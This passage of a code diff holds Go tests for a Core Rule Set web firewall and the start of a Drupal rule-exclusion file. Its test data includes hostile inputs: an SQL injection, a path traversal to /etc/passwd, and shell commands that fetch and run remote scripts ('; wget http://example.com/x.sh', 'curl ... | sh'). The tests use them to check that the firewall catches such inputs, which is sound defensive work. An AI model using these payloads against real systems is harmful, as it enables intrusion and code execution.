"/wp-json/wp/v2/block-directory/search" + + wantChange(t, crs, get(directory+"?term=python3"), + get("/wp-json/example/v1/things?term=python3"), matched(932260)) + wantChange(t, crs, get(directory+"?term=powershell"), + get("/wp-json/example/v1/things?term=powershell"), matched(932120)) + wantChange(t, crs, get(directory+"?term=ls+-la"), + get("/wp-json/example/v1/things?term=ls+-la"), matched(932250)) + + // The block editor's link previews and embeds: url skips only 930120 and + // 932120. + for _, target := range []string{ + "/wp-json/wp-block-editor/v1/url-details?url=", + "/?rest_route=/wp-block-editor/v1/url-details&url=", + "/wp-json/oembed/1.0/proxy?url=", + "/?rest_route=/oembed/1.0/proxy&url=", + } { + for _, v := range wordpressWords() { + want := coreruleset.Result{} + if v.rule == 932250 || v.rule == 932260 { + want = matched(v.rule) + } + + wantResult(t, crs, get(target+url.QueryEscape(v.value)), want) + } + } + + // The header X-HTTP-Method-Override at the address on the site root, + // and off the REST API. + headers := []string{jsonBody, "Content-Length: 2", wordpressOverride} + wantChange(t, crs, + request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers}, + request{http.MethodPost, "/?p=1", headers}, matched(920450)) +} + +func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120)) + wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120)) + wantResult( + t, + crs, + get("/wp-admin/admin-ajax.php?content=ls+-la"), + matched(932250), + ) + wantResult( + t, + crs, + get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"), + matched(941100, 941160), + ) + wantResult( + t, + crs, + get( + "/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape( + wordpressBlock, + ), + ), + matched(941180), + ) + wantResult( + t, + crs, + get("/wp-json/wp/v2/posts/1?json.title=python3"), + matched(932260), + ) + wantResult( + t, + crs, + get("/wp-comments-post.php?url=powershell"), + matched(932120), + ) +} + +// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON +// fields of a REST API save, a plugin to install and a commenter's address, +// against the same values in another field and off their paths. +func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) { + t.Parallel() + + crs := readingBodiesUpTo8K(t) + + for _, v := range wordpressWords() { + for _, field := range []string{"title", "excerpt", "name"} { + body := fmt.Sprintf(`{%q:%q}`, field, v.value) + + for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") { + r := request{ + http.MethodPost, + address, + []string{jsonBody, wordpressOverride}, + } + wantBody(t, crs, r, body, coreruleset.Result{}, body) + } + + r := request{ + http.MethodPost, + "/wp-json/example/v1/things", + []string{jsonBody}, + } + wantBody(t, crs, r, body, matched(v.rule), body) + } + + other := fmt.Sprintf(`{"description":%q}`, v.value) + r := request{http.MethodPost, wpTags, []string{jsonBody}} + wantBody(t, crs, r, other, matched(v.rule), other) + } + + // A post's slug and a plugin to install skip only 932120 and 932260. + post := request{ + http.MethodPost, + wpPost, + []string{jsonBody, wordpressOverride}, + } + install := request{http.MethodPost, wpAjax, []string{formData}} + + for _, v := range wordpressWords() { + want := coreruleset.Result{} + if v.rule == 930120 || v.rule == 932250 { + want = matched(v.rule) + } + + slug := fmt.Sprintf(`{"slug":%q}`, v.value) + wantBody(t, crs, post, slug, want, slug) + + plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value) + wantBody(t, crs, install, plugin, want, plugin) + } + + comment := request{http.MethodPost, wpComment, []string{formData}} + elsewhere := request{ + http.MethodPost, + "/example/things", + []string{formData}, + } + + // A commenter's address skips the two rules that refused an address. + for _, v := range []struct { + address string + rule int + }{ + {"http://blog.example/.htaccess", 930120}, + {"http://blog.example/powershell-basics/", 932120}, + } { + body := "url=" + url.QueryEscape(v.address) + wantBody(t, crs, comment, body, coreruleset.Result{}, body) + wantBody(t, crs, elsewhere, body, matched(v.rule), body) + + author := "author=" + url.QueryEscape(v.address) + wantBody(t, crs, comment, author, matched(v.rule), author) + } + + // The rules on Unix commands keep it. + wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3") + wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la") +} + +func TestWordPressPasswordsPass(t *testing.T) { + t.Parallel() + + signIn := request{http.MethodPost, wpLogin, []string{formData}} + + wantRandomPasswordsPass(t, signIn, "pwd") + wantPasswordAttacksPass(t, signIn, "pwd") + wantPasswordAttacksRefused(t, signIn, "pwd") +} + +func TestWordPressPasswordFieldsPass(t *testing.T) { + t.Parallel() + + pass := []string{"pass1", "pass2"} + + wantPasswordFieldsPass(t, []passwordFields{ + {wpLogin + "?action=resetpass", formData, pass}, + {wpLogin + "?action=postpass", formData, []string{"post_password"}}, + {"/wp-admin/profile.php", formData, pass}, + {"/wp-admin/user-edit.php?user_id=2", formData, pass}, + {"/wp-admin/user-new.php", formData, pass}, + {"/wp-admin/network/user-edit.php?user_id=2", formData, pass}, + {"/wp-admin/network/profile.php", formData, pass}, + {"/wp-admin/user/profile.php", formData, pass}, + {"/wp-json/wp/v2/users", jsonBody, []string{passwordKey}}, + {"/wp-json/wp/v2/users/me", formData, []string{passwordKey}}, + { + "/index.php?rest_route=/wp/v2/users/2", + jsonBody, + []string{passwordKey}, + }, + }) +} + +func TestWordPressExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + const ( + offREST = "/api/posts/1" + length = "Content-Length: 2" + ) + + crs := readingBodiesUpTo8K(t) + saving := request{ + http.MethodPost, + wpPost, + []string{jsonBody, wordpressOverride}, + } + + content := `{"content":"` + wordpressBlock + `"}` + wantBody(t, crs, saving, content, coreruleset.Result{}, content) + + // The other fields of the post keep the rule, and so does the same field + // off the REST API. + title := `{"title":"` + wordpressBlock + `"}` + wantBody(t, crs, saving, title, matched(941180), title) + wantBody( + t, + crs, + request{http.MethodPost, offREST, []string{jsonBody}}, + content, + matched(941180), + content, + ) + + // The header X-HTTP-Method-Override is refused off the REST API. + defaults := atDefaults(t) + wantResult( + t, + defaults, + request{ + http.MethodPost, + wpPost, + []string{jsonBody, length, wordpressOverride}, + }, + coreruleset.Result{}, + ) + wantResult( + t, + defaults, + request{ + http.MethodPost, + offREST, + []string{jsonBody, length, wordpressOverride}, + }, + matched(920450), + ) + + // Signing in: pwd alone skips the list of system files. + signIn := request{http.MethodPost, wpLogin, []string{formData}} + + body := "log=a&pwd=b%20%2Fetc%2Fhosts" + wantBody(t, crs, signIn, body, coreruleset.Result{}, body) + + body = "log=b%20%2Fetc%2Fhosts&pwd=a" + wantBody(t, crs, signIn, body, matched(930120), body) +} + +// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the +// tests that read bodies. +const bodyInspectionSize = 8 << 10 + +// The Content-Type headers of the kinds of body the Core Rule Set reads. +const ( + formData = "Content-Type: application/x-www-form-urlencoded" + multipart = "Content-Type: multipart/form-data; boundary=b" + jsonBody = "Content-Type: application/json" + xmlBody = "Content-Type: application/xml" +) + +// injection is an SQL injection, which rule 942100 matches. +const injection = "1' OR '1'='1" + +// scriptTag is a script injection, not escaped. +const scriptTag = "" + +// pathTraversal is a path traversal, not escaped. +const pathTraversal = "../../etc/passwd" + +// shellCommand is commandInjection, not escaped. +const shellCommand = "; wget http://example.com/x.sh" + +// readingBodies returns the Core Rule Set as sww runs it by +// default, but reading bodies up to bodyInspectionSize. +func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { + t.Helper() + + return shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, + }) +} + +// post is a POST request for / with a body of the type contentType, a +// Content-Type header, gives, and headers besides. +func post(contentType string, headers ...string) request { + return request{ + http.MethodPost, + "/", + append([]string{contentType}, headers...), + } +} + +// field is a part of a multipart body: the field name, holding value. +func field(name, value string) string { + return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" + + value + "\r\n" +} + +// end ends a multipart body. +const end = "--b--\r\n" + +// padded returns head and tail with as many a's between them as make n +// bytes in all. +func padded(head, tail string, n int) string { + return head + strings.Repeat("a", n-len(head)-len(tail)) + tail +} + +// wantBody checks what crs finds in r with body, and that what it read of +// body is read. +func wantBody( + t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string, + want coreruleset.Result, + read string, +) { + t.Helper() + + got, gotRead := inspectBody(t, crs, r, body) + if !reflect.DeepEqual(got, want) || gotRead != read { + t.Errorf( + "%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+ + "want %+v, reading %d", + r.headers, + len(body), + body, + got, + len(gotRead), + want, + len(read), + ) + } +} + +func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) { + t.Parallel() + + off, on := atDefaults(t), readingBodies(t) + + for _, tc := range []struct{ header, body string }{ + {formData, "q=" + url.QueryEscape(injection)}, + {multipart, field("q", injection) + end}, + {jsonBody, `{"q":"` + injection + `"}`}, + {xmlBody, "" + injection + ""}, + } { + wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "") + wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body) + } +} + +func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + pad := strings.Repeat("a", bodyInspectionSize) + + for _, tc := range []struct{ header, attackFirst, attackLast string }{ + { + formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad, + "pad=" + pad + "&q=" + url.QueryEscape(injection), + }, + { + multipart, field("q", injection) + field("pad", pad) + end, + field("pad", pad) + field("q", injection) + end, + }, + } { + wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), + tc.attackFirst[:bodyInspectionSize+1]) + wantBody( + t, + crs, + post(tc.header), + tc.attackLast, + coreruleset.Result{}, + tc.attackLast[:bodyInspectionSize+1], + ) + } + + // To the byte: a system file's path is found when it ends at the limit, + // and not when its last letter is past it, which is still read. + atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize) + wantBody( + t, + crs, + post(formData), + atLimit, + matched(930120, 932160), + atLimit, + ) + + pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1) + wantBody( + t, + crs, + post(formData), + pastLimit, + coreruleset.Result{}, + pastLimit, + ) +} + +func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) { + t.Parallel() + + // The limit is the body inspection size, but at most mostJSONRead for + // JSON. smallSize is a body inspection size under mostJSONRead. + const smallSize = 512 + + bodies, smallBodies := readingBodies(t), shared(t, coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: smallSize, + }) + jsonHead, jsonTail := `{"q":"`+injection+`","pad":"`, `"}` + + for _, tc := range []struct { + crs *coreruleset.CoreRuleSet + header, head, tail string + limit int + }{ + {bodies, jsonBody, jsonHead, jsonTail, mostJSONRead}, + {smallBodies, jsonBody, jsonHead, jsonTail, smallSize}, + { + bodies, xmlBody, "" + injection + "", "", + bodyInspectionSize, + }, + } { + fits := padded(tc.head, tc.tail, tc.limit) + wantBody(t, tc.crs, post(tc.header), fits, matched(942100), fits) + + larger := padded(tc.head, tc.tail, tc.limit+1) + wantBody( + t, + tc.crs, + post(tc.header), + larger, + coreruleset.Result{}, + larger, + ) + } +} + +func TestOtherBodiesAreNotRead(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // Read as form data, which the Core Rule Set does with a body of a type + // it does not know, this would be an SQL injection. + body := "q=" + url.QueryEscape(injection) + + for _, header := range []string{ + "Content-Type: application/octet-stream", + "Content-Type: text/plain", + "Content-Type: application/x-git-receive-pack-request", + } { + wantBody(t, crs, post(header), body, coreruleset.Result{}, "") + } +} + +func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads( + t *testing.T, +) { + t.Parallel() + + const gzip = "Content-Encoding: gzip" + + crs := readingBodies(t) + + for _, tc := range []struct{ header, body string }{ + {formData, "a=1"}, + {multipart, field("a", "1") + end}, + {jsonBody, `{"a":1}`}, + {xmlBody, "1"}, + } { + wantBody( + t, + crs, + post(tc.header, gzip), + tc.body, + matched(920450), + tc.body, + ) + } + + // Whatever its size: a JSON body larger than the limit is not read, but + // Content-Encoding on it is refused all the same. + larger := strings.Repeat("a", bodyInspectionSize+1) + wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger) + + // It is allowed on a body of any other kind, and on every body while no + // body is read. + fetch := "Content-Type: application/x-git-upload-pack-request" + wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "") + wantBody( + t, + atDefaults(t), + post(formData, gzip), + "a", + coreruleset.Result{}, + "", + ) +} + +func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo( + t *testing.T, +) { + t.Parallel() + + crs := readingBodies(t) + local := url.QueryEscape("http://127.0.0.1:52341/") + + for _, tc := range []struct { + body string + want coreruleset.Result + }{ + {"path=.gitignore", coreruleset.Result{}}, + {"q=.gitignore", matched(930120)}, + {"redirect_uri=" + local, coreruleset.Result{}}, + {"next=" + local, matched(931100, 934110)}, + } { + wantBody(t, crs, post(formData), tc.body, tc.want, tc.body) + } + + body := field("path", ".gitignore") + end + wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body) + + body = field("q", ".gitignore") + end + wantBody(t, crs, post(multipart), body, matched(930120), body) + + // A JSON body's field is named by its path, here json.path, and is + // checked. + body = `{"path":".gitignore"}` + wantBody(t, crs, post(jsonBody), body, matched(930120), body) +} + +func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // A comment that shows a shell command. + const text = "Try `curl -s https://example.org | sh` first." + + comment := "content=" + url.QueryEscape(text) + wantBody(t, crs, post(formData), comment, matched(932235), comment) + + // An attachment named like a log file. + attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + + "filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end + wantBody( + t, + crs, + post(multipart), + attachment, + matched(932180), + attachment, + ) +} + +// nameInBody is a name gitea or Forgejo sends in field of a body to path. +// contentType is formData or jsonBody. +type nameInBody struct{ path, contentType, field, name string } + +// giteaNamesInBodies returns names gitea and Forgejo send in a body field that +// skips the rules that refused them there: a file's path or text, a commit's +// summary or message, and the branch names of giteaBranchNamesInBodies. +func giteaNamesInBodies() []nameInBody { + const ( + repo = "/alice/tools" + api = "/api/v1/repos/alice/tools" + + // Fields that several paths send. + treePath = "tree_path" + commitSummary = "commit_summary" + message = "message" + ) + + // A file's path or text, or a commit's summary or message. + texts := []nameInBody{ + { + repo + "/_edit/main/compose.yml", + formData, + treePath, + "docker-compose.yml", + }, + {repo + "/_edit/main/.htaccess", formData, treePath, htaccess}, + { + repo + "/_edit/main/scripts/install-script.sh", formData, + treePath, "scripts/install-script.sh", + }, + {repo + "/_new/main/", formData, treePath, "docs/python3-setup.md"}, + { + repo + "/_delete/main/.htaccess", + formData, + commitSummary, + "Remove .htaccess", + }, + { + repo + "/_new/main/", + formData, + "content", + "# Setup\r\n\r\nInstall the tools.\r\n", + }, + { + repo + "/_preview/main/docs/setup.md", + formData, + "content", + "# Setup\r\n\r\nInstall the tools.\r\n", + }, + { + repo + "/_upload/main/scripts/powershell", + formData, + treePath, + "scripts/powershell", + }, + { + repo + "/_upload/main/scripts/powershell", formData, + commitSummary, "Add a PowerShell build script", + }, + { + repo + "/_cherrypick/6b02ec9/main", + formData, + commitSummary, + "Document .htaccess", + }, + { + api + "/contents/scripts/powershell-build.ps1", jsonBody, + message, "Add a PowerShell build script", + }, + {api + "/contents/.htaccess", jsonBody, message, "Remove .htaccess"}, + { + api + "/contents", + jsonBody, + message, + "Add the PowerShell setup notes", + }, + {api + "/contents", jsonBody, message, "Document .htaccess"}, + } + + return slices.Concat(texts, giteaBranchNamesInBodies()) +} + +// giteaBranchNamesInBodies returns the branch names gitea and Forgejo send in +// a body field that skips the rules that refused them there. Each field comes +// with a name for each rule it skips: feat/docker-support for the command +// names (932260), and fix-powershell-module for the Windows commands (932120). +func giteaBranchNamesInBodies() []nameInBody { + const ( + repo = "/alice/tools" + api = "/api/v1/repos/alice/tools" + + // Fields that several paths send. + branch = "branch" + newBranchName = "new_branch_name" + ) + + branchFields := []struct{ path, contentType, field string }{ + {repo + "/_edit/main/compose.yml", formData, newBranchName}, + {repo + "/_new/main/", formData, newBranchName}, + {repo + "/_delete/main/.htaccess", formData, newBranchName}, + {repo + "/_upload/main/docs", formData, newBranchName}, + {repo + "/_diffpatch/main/", formData, newBranchName}, + {repo + "/_cherrypick/6b02ec9/main", formData, newBranchName}, + {repo + "/branches/_new/branch/main", formData, newBranchName}, + {repo + "/branches/rename", formData, "from"}, + {repo + "/branches/rename", formData, "to"}, + // Forgejo's path for renaming a branch. + {repo + "/settings/rename_branch", formData, "from"}, + {repo + "/settings/rename_branch", formData, "to"}, + {api + "/branches", jsonBody, newBranchName}, + {api + "/branches", jsonBody, "old_branch_name"}, + {api + "/branches", jsonBody, "old_ref_name"}, + {api + "/pulls", jsonBody, "head"}, + {api + "/pulls", jsonBody, "base"}, + {api + "/pulls/1", jsonBody, "base"}, + {api + "/contents/docs/notes.md", jsonBody, branch}, + {api + "/contents/docs/notes.md", jsonBody, "new_branch"}, + {api + "/contents", jsonBody, branch}, + {api + "/contents", jsonBody, "new_branch"}, + } + + branchNames := []string{"feat/docker-support", "fix-powershell-module"} + + names := make([]nameInBody, 0, len(branchFields)*len(branchNames)) + + for _, f := range branchFields { + for _, name := range branchNames { + names = append( + names, + nameInBody{f.path, f.contentType, f.field, name}, + ) + } + } + + return names +} + +// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which +// gitea and Forgejo name a file or a branch. Each lets through the name that +// was refused there, and still refuses a shell command after a ";" and a path +// traversal. The same name is still refused in another field on the same path, +// and in the field itself when the query has a parameter of the field's name. +func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) { + t.Parallel() + + const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default + + crs := readingBodies(t) + + for _, tc := range giteaNamesInBodies() { + r := request{http.MethodPost, tc.path, []string{tc.contentType}} + + body := func(field, value string) string { + if tc.contentType == formData { + return field + "=" + url.QueryEscape(value) + } + + quoted, err := json.Marshal(map[string]string{field: value}) + if err != nil { + t.Fatal(err) + } + + return string(quoted) + } + + if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold { + t.Errorf( + "%s %s=%q refused: %+v", + tc.path, + tc.field, + tc.name, + got, + ) + } + + if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold { + t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got) + } + + param := tc.field + if tc.contentType == jsonBody { + param = "json." + tc.field + } + + queried := request{ + http.MethodPost, + tc.path + "?" + param + "=x", + r.headers, + } + + got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name)) + if got.Score < threshold { + t.Errorf( + "%s %s=%q let through: %+v", + queried.target, + tc.field, + tc.name, + got, + ) + } + + for _, attack := range []string{shellCommand, pathTraversal} { + if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold { + t.Errorf( + "%s %s=%q let through: %+v", + tc.path, + tc.field, + attack, + got, + ) + } + } + } +} + +func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, tc := range []struct{ contentType, body string }{ + {"application/atom+xml", "" + injection + ""}, + {"application/vnd.example+xml", "" + injection + ""}, + {"application/vnd.example+json", `{"q":"` + injection + `"}`}, + {"text/json", `{"q":"` + injection + `"}`}, + } { + wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body, + matched(942100), tc.body) + } +} + +func TestBodyCorazaCannotParseIsAMatch(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // An end tag after the root element, past which Coraza reads none of + // the body, while an app may still read the attack before it. + body := "" + injection + "" + wantBody(t, crs, post(xmlBody), body, matched(900440), body) + + // The multipart bodies Coraza cannot parse fail its strict checks too: + // one whose type names its boundary twice, and one with a part header + // that has no colon, before the attack. They do so padded past the + // limit too, which cuts them in the padding. + noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n" + pad := field("pad", strings.Repeat("a", bodyInspectionSize)) + + for _, tc := range []struct{ header, head string }{ + {multipart + "; boundary=c", ""}, + {multipart, noColon}, + } { + body = tc.head + field("q", injection) + end + wantBody( + t, + crs, + post(tc.header), + body, + matched(900440, 900450), + body, + ) + + body = tc.head + field("q", injection) + pad + end + wantBody(t, crs, post(tc.header), body, matched(900440, 900450), + body[:bodyInspectionSize+1]) + } +} + +func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) { + t.Parallel() + + // The limit falls in the middle of the name of the second part's + // header, which Coraza, reading up to the limit, cannot tell from a + // header without a colon. + cut := "--b\r\nContent-Di" + first := field( + "pad", + strings.Repeat( + "a", + bodyInspectionSize-len(field("pad", ""))-len(cut), + ), + ) + body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end + + wantBody( + t, + readingBodies(t), + post(multipart), + body, + matched(900440, 900450), + body[:bodyInspectionSize+1], + ) +} + +func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch( + t *testing.T, +) { + t.Parallel() + + crs := readingBodies(t) + headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r" + + // The limit falls between the carriage return and the line feed that + // end the second part's header line, and then between those that end + // the empty line after it. Coraza, reading up to the limit, takes the + // line ending in a lone carriage return for a malformed header. + for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} { + first := field( + "pad", + strings.Repeat( + "a", + bodyInspectionSize-len(field("pad", ""))-cut, + ), + ) + body := first + field("q", "1") + end + + wantBody(t, crs, post(multipart), body, matched(900440, 900450), + body[:bodyInspectionSize+1]) + } +} + +// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the +// system's temporary directory, for the whole test process. +func TestCorazaWritesNoFile(t *testing.T) { + // The system's temporary directory is one that does not exist, so that + // Coraza could write nothing there: built without no_fs_access, it + // refuses to load, and could not write a file of a multipart body. + t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing")) + + // The test loads its own Core Rule Set, since loading is part of what + // it checks. + crs, err := coreruleset.New(coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, + BodyInspectionSize: bodyInspectionSize, + }) + if err != nil { + t.Fatalf("load the Core Rule Set: %v", err) + } + + body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + + "filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" + + strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end + wantBody(t, crs, post(multipart), body, matched(942100), body) +} + +func TestBodyInspectionSizeOf1GLoads(t *testing.T) { + t.Parallel() + + _, err := coreruleset.New( + coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30}, + ) + if err != nil { + t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err) + } +} diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf new file mode 100644 index 0000000..a627d06 --- /dev/null +++ b/internal/coreruleset/drupal.conf @@ -0,0 +1,334 @@ +# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused +# ordinary Drupal requests there. They are the fields where Drupal sends a +# search, a name, a file name or an address. Each exclusion runs with the +# request, before the rules it switches off, so this file is loaded before the +# Core Rule Set's rules. Each comment names a request a rule refused. An +# exclusion on a field of a body applies only when the query has no parameter +# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is +# set. The exclusions above the comment "The fields below are in bodies" also +# cover a body field of the same name whatever the query holds, and only those +# below it need a query without that name. +# +# Each path may start with a language prefix, such as /fr in +# /fr/admin/content. The prefix is two or three letters, then optionally a +# hyphen and more letters, as in /pt-br. +# +# Four rules read a search or a name as a command or a system file: +# 930120: .htaccess +# 932120: powershell +# 932250: ls -la +# 932260: python3 +# Each query exclusion below removes these four from its fields, with two +# exceptions. Rule 900806 removes only 930120 and 932120 from url. Two more +# rules misfire on destination, the address of a page of results, so +# destination alone skips them too: +# 932230: ls -la +# 932235: python3 + +# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it +# while SWW_WAF_APPS is unset, or lists drupal for the request's hostname. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_drupal itself. +SecRule &TX:app_drupal "@eq 0" \ + "id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL" + +# Every admin page's filters and autocompletes, and the page to return to: +# title: /admin/content?title=python3 +# name: /admin/content/media?name=python3 +# user: /admin/people?user=python3 +# filename, filemime: /admin/content/files?filename=python3 +# info: /admin/content/block?info=python3 +# subject, author_name: /admin/content/comment?subject=python3 +# search: /admin/config/search/path?search=python3 +# q: /admin/views/ajax/autocomplete/tag?q=python3 +# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3 +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/admin(?:/|$)" \ + "id:900800,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:destination,\ + ctl:ruleRemoveTargetById=932235;ARGS:destination,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/" + +# The page to return to, on the other pages Drupal links to with one, such as +# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3, +# /node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3 and +# /big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+|[0-9]+/revisions/[0-9]+/(?:revert|delete))|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?|block/add/[^/]+|big_pipe/no-js)$" \ + "id:900801,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:destination,\ + ctl:ruleRemoveTargetById=932120;ARGS:destination,\ + ctl:ruleRemoveTargetById=932230;ARGS:destination,\ + ctl:ruleRemoveTargetById=932235;ARGS:destination,\ + ctl:ruleRemoveTargetById=932250;ARGS:destination,\ + ctl:ruleRemoveTargetById=932260;ARGS:destination" + +# The text searched for on the search pages: /search/node?keys=python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/search(?:/|$)" \ + "id:900802,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:keys,\ + ctl:ruleRemoveTargetById=932120;ARGS:keys,\ + ctl:ruleRemoveTargetById=932250;ARGS:keys,\ + ctl:ruleRemoveTargetById=932260;ARGS:keys" + +# What is typed into a field that autocompletes a tag, a user, a link in the +# rich text editor or a block's category: +# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3 +# /ckeditor5/basic_html/entity-link-suggestions?q=python3 +# /block-category/autocomplete?q=python3 +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:entity_reference_autocomplete/|ckeditor5/[^/]+/entity-link-suggestions$|block-category/autocomplete$)" \ + "id:900803,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:q,\ + ctl:ruleRemoveTargetById=932120;ARGS:q,\ + ctl:ruleRemoveTargetById=932250;ARGS:q,\ + ctl:ruleRemoveTargetById=932260;ARGS:q" + +# The values a JSON:API client filters by, in fields named after what they +# filter: /jsonapi/node/article?filter[title]=python3 and +# filter[f][condition][value]=python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \ + "id:900804,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/" + +# A name, in the query or a body: the account whose password is reset, and +# the media library's filter by name: +# /user/password?name=python3 +# /media-library?media_library_opener_id=...&name=python3 +# /views/ajax?view_name=media_library&name=python3 +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/password|media-library|views/ajax)$" \ + "id:900805,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:name,\ + ctl:ruleRemoveTargetById=932120;ARGS:name,\ + ctl:ruleRemoveTargetById=932250;ARGS:name,\ + ctl:ruleRemoveTargetById=932260;ARGS:name" + +# The address of a remote video shown in a page: +# 930120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess +# 932120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/media/oembed$" \ + "id:900806,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:url,\ + 